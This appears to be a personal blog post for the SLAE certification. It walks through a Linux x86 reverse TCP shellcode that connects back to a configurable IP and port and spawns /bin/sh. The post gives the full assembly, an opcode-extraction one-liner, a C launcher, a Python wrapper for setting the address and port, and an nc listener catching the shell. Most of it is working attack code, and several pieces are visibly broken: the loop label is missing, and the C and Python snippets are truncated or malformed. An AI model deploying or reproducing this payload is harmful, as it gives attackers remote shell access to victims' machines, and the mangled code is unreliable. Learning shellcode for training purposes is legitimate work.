And now SLAE assignment two! For this assignment I have been tasked to:

  • Create a Shell_Reverse_TCP shellcode
  • Reverse connects to configured IP and Port
  • Execs shell on successful connection

Plus, as done previously, port and now even address, should be easily configurable. A reverse TCP shellcode’s goal is to perform a connection back from the victim host to the attacker machine, and, as usual, spawns a shell. This time around, I started looking at the Russell Willis’s code at ShellStorm Although I have not optimized its shellcode size, I have increase performance by reducing the ‘sys_dup2’ syscall loop of -drumroll- one cpu cycle! whoo! :D

Here the full commented shellcode:

global _start			

section .text

; int socketcall(int call, unsigned long *args);
; sockfd = socket(int socket_family, int socket_type, int protocol);
xor    eax,eax  ;house cleaning
xor    ebx,ebx
xor    ecx,ecx
xor    edx,edx
mov    al,0x66  ;syscall: sys_socketcall
mov    bl,0x1   ;sys_socket (0x1)
push   ecx  
push   0x6      ;IPPROTO_TCP=6
push   0x1      ;socket_type=SOCK_STREAM (0x1)
push   0x2      ;socket_family=AF_INET (0x2)
mov    ecx,esp  ;save stack pointer to socket() args
int    0x80

; int socketcall(int call, unsigned long *args);
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
mov    esi,eax
mov    al,0x66

;struct sockaddr_in {
;  __kernel_sa_family_t  sin_family;     /* Address family               */
;  __be16                sin_port;       /* Port number                  */
;  struct in_addr        sin_addr;       /* Internet address             */
xor    ebx,ebx
mov    bl,0x2      ;sin_family=AF_INET (0x2)
push   0x6424a8c0  ;sin_addr= (network byte order endianness)
push   word  0x697a;sin_port=31337 (network byte endianness)
push   bx
inc    bl		 ;      02 to bl
mov    ecx,esp      ;save stack pointer to sockaddr struct
push   0x10         ;addrlen=16
push   ecx          ;pointer to sockaddr
push   esi          ;sockfd
mov    ecx,esp	    ;save pointer to sockaddr_in struct
int    0x80         ;exec sys_connect

xor    ecx,ecx   
mov    cl,0x2       ;set loop-counter
	mov    al,0x3f    ;syscall: sys_dup2
	int    0x80       ;exec sys_dup2
	dec    cl         ;decrement counter
	jne    loop       ;jump to loop label if ZF is not equal to 0 (controlled by decrementing cl)

xor    eax,eax
push   edx          ;NULL terminating
push   0x68732f6e   ;"hs//"
push   0x69622f2f   ;"nib/"
mov    ebx,esp      ;save pointer to filename
push   edx          ;null push the stack
push   ebx          ;push pointer to filename
mov    ecx,esp      ;save stack pointer to ecx
push   edx          ;push null to stack
mov    edx,esp      ;save  stack pointer to edx
mov    al,0xb       ;syscall: sys_execve
int    0x80         ;exec sys_execve

And again with commandlinefu

#objdump -d ./reverse_tcp_shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
Then paste&compile:


unsigned char shellcode[] = \
    printf("Shellcode Length:  %d\n", sizeof(shellcode) - 1);
    int (*ret)() = (int(*)())shellcode;

gcc shellcode.c -o linux_x86_shell_bind_tcp -fno-stack-protector -z execstack -m32

And here the python code to automate ip+port insertion.

# SLAE - Assignment #1: BindShell (Linux/x86) Wrapper
# Author:  Matteo Malvica (@matteomalvica)
# Website:

import sys

def rethex(n):
    h1 = hex(int(n))[2:]

    if len(h1) == 3:
        h1 = "0" + h1

    if len(h1) >= 3:
        t1 = h1[0:2]
        t2 = h1[2:4]
        h1 = "\\x" + t1 + "\\x" + t2

    if len(h1) < 4 and len(h1) > 2:
        h1 = "0" + h1
    if len(h1) < 2:
        h1="\\x0" + h1
    if len(h1) == 2:
        h1="\\x" + h1
    if h1 == "\\x00":
        print "Oops, looks like the final shellcode contains a \\x00 :(!\r\n"
    return h1   

total = len(sys.argv)
if total != 3:
    print "[+] Usage %s [ip] [tcp ort]" % sys.argv[0]

        ip = sys.argv[1]
        addr = ""
        for i in range(0,4):
            addr = addr + rethex(ip.split(".",3)[i])            

        port = int(sys.argv[2])
        if port > 65535:
            print "Cannot bind a port greater than 65535!"
        if port < 1024:
            print "Port is smaller than 1024! Need to be root for that"
        # convert integer argv port to hex and stuff with leading zeroes if port hex length is < 4
        hexport = hex(port)[2:].zfill(4)    
        # split hexport in two parts to check for null byte
        b1 = hexport[0:2]
        b2 = hexport[2:4]

        if b1 == "00" or b2 == "00":
            print "Port contains \\x00!"

        # add leading zero if nibble-only value
        if len(b1) < 2:
            b1="\\x0" + b1
        if len(b1) == 2:
            b1="\\x" + b1
        if len(b2) < 2:
            b2="\\x0" + b2
        if len(b2) == 2:
            b2="\\x" + b2


        shellport = rethex(port)

        print "Shellcode-ready address:\t" + addr
        print "Shellcode-ready port:\t\t" + shellport

        shellcode = bytearray("\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2"
            "\\xdb\\xb3\\x02\\x68" +addr+ "\\x66\\x68" +shellport+  

        print "Final shellcode:\t\n" + shellcode + "\""
        print "Shellocde length is:\t\t" + str(len(shellcode)/4) + "\n"

        print "exiting..."

Right - now we can go and listen to any connection coming on port ‘31337’

# nc -lvnp 31337
listening on [any] 31337 ...

And here we go, after firing up our shellcode from another tab, we receive the simulated remote connection locally on our machine, from port 50730

#nc -lvnp 31337
listening on [any] 31337 ...
connect to [] from (UNKNOWN) [] 50730
My assignment code can be found here: here

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: Student ID: PA-5837